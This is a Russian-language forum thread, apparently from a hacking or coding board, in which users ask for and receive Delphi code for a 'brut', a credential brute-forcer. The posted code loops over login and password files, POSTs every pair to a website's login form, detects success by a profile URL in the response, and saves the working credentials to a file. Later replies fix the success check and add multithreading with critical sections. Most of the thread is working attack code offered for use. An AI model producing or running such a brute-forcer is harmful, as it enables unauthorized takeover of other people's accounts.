[Помогите!] Брут

[Ho4Hou]

Как написать простой брут на Delphi? По файлам пароля и логинов.

[VeTaL_UA]

Два цикла. Пример:

var
log,pass,data,result:TStringList;
HTTP:TIdHTTP;
i,j:integer;
validate:boolean;
begin
log:=TStringList.Create;
pass:=TStringList.Create;
result:=TStringList.Create;
log.LoadFromFile('log.txt');
pass.LoadFromFile('pass.txt');
 for i:=0 to log.Count-1 do
  begin
   for j:=0 to pass.Count-1 do
    begin
     try
     data:=TStringList.Create; 
     HTTP:=TIdHTTP.Create(nil);
     data.Add('login='+log.Strings[i]);
     data.Add('password='+pass.Strings[j]);
     HTTP.Post('http://blabla.com/',data);
     {Тут проверяем валидность отправленных логинов и паролей}
     {Если аккаунт валидный, validate:=True, невалидный - False}
      if validate then
       begin
       result.Add(log.Strings[i]+';'+pass.Strings[j]);
       end;
     finally
     data.Free;
     HTTP.Free;
     end; 
    end;
  end;
log.Free;
pass.Free;
result.SaveToFile('result.txt');
result.Free;
end;

[foxes20]

VeTaL_UA Я в роди сдала как вы писали, ну result.txt пустой
Ну я знаю что там правильный логин и пароль

procedure TForm1.Button1Click(Sender: TObject);
var
log,pass,data,result:TStringList;
HTTP:TIdHTTP;
i,j:integer;
validate:boolean;
begin
log:=TStringList.Create;
pass:=TStringList.Create;
result:=TStringList.Create;
log.LoadFromFile('log.txt');
pass.LoadFromFile('pass.txt');
 for i:=0 to log.Count-1 do
  begin
   for j:=0 to pass.Count-1 do
    begin
     try
     data:=TStringList.Create;
     HTTP:=TIdHTTP.Create(nil);
     data.Add('auth_login='+log.Strings[i]);
     data.Add('auth_password='+pass.Strings[j]);
     HTTP.Post('http://dump.ru',data);
     {Тут проверяем валидность отправленных логинов и паролей}
     {Если аккаунт валидный, validate:=True, невалидный - False}
      if validate then
       begin
       result.Add(log.Strings[i]+';'+pass.Strings[j]);
       end;
     finally
     data.Free;
     HTTP.Free;
     end;
    end;
  end;
log.Free;
pass.Free;
result.SaveToFile('result.txt');
result.Free;
end;

[VeTaL_UA]

var
log,pass,data,result:TStringList;
HTTP:TIdHTTP;
i,j:integer;
Request:String;
begin
log:=TStringList.Create;
pass:=TStringList.Create;
result:=TStringList.Create;
log.LoadFromFile('log.txt');
pass.LoadFromFile('pass.txt');
 for i:=0 to log.Count-1 do
  begin
   for j:=0 to pass.Count-1 do
    begin
     try
     data:=TStringList.Create; 
     HTTP:=TIdHTTP.Create(nil);
     data.Add('login='+log.Strings[i]);
     data.Add('password='+pass.Strings[j]);
     Request:=HTTP.Post('http://blabla.com/',data);
      if Pos('http://dump.ru/profile/',Request)<>0 then
       begin
       result.Add(log.Strings[i]+';'+pass.Strings[j]);
       end;
     finally
     data.Free;
     HTTP.Free;
     end; 
    end;
  end;
log.Free;
pass.Free;
result.SaveToFile('result.txt');
result.Free;
end;

[blad56]

Веталь, а с многопоточностью как? Не могу разобраться. Точнее как с критическими секциями работать.

[VeTaL_UA]

Цитата: Сообщение от blad56 Точнее как с критическими секциями работать.

var
  CS: TCriticalSection;
  Potok: TNewThread;
...
TNewThread = class(TThread)
  private
  protected
    procedure Execute; override;
  end;
...
procedure Zapusk;
begin
CS:=TCriticalSection.Create;
Potok:=TNewThread.Create(false);
end;
...
procedure TNewThread.Execute;
begin
CS.Enter;
{Делаем что-то}
CS.Leave;
end;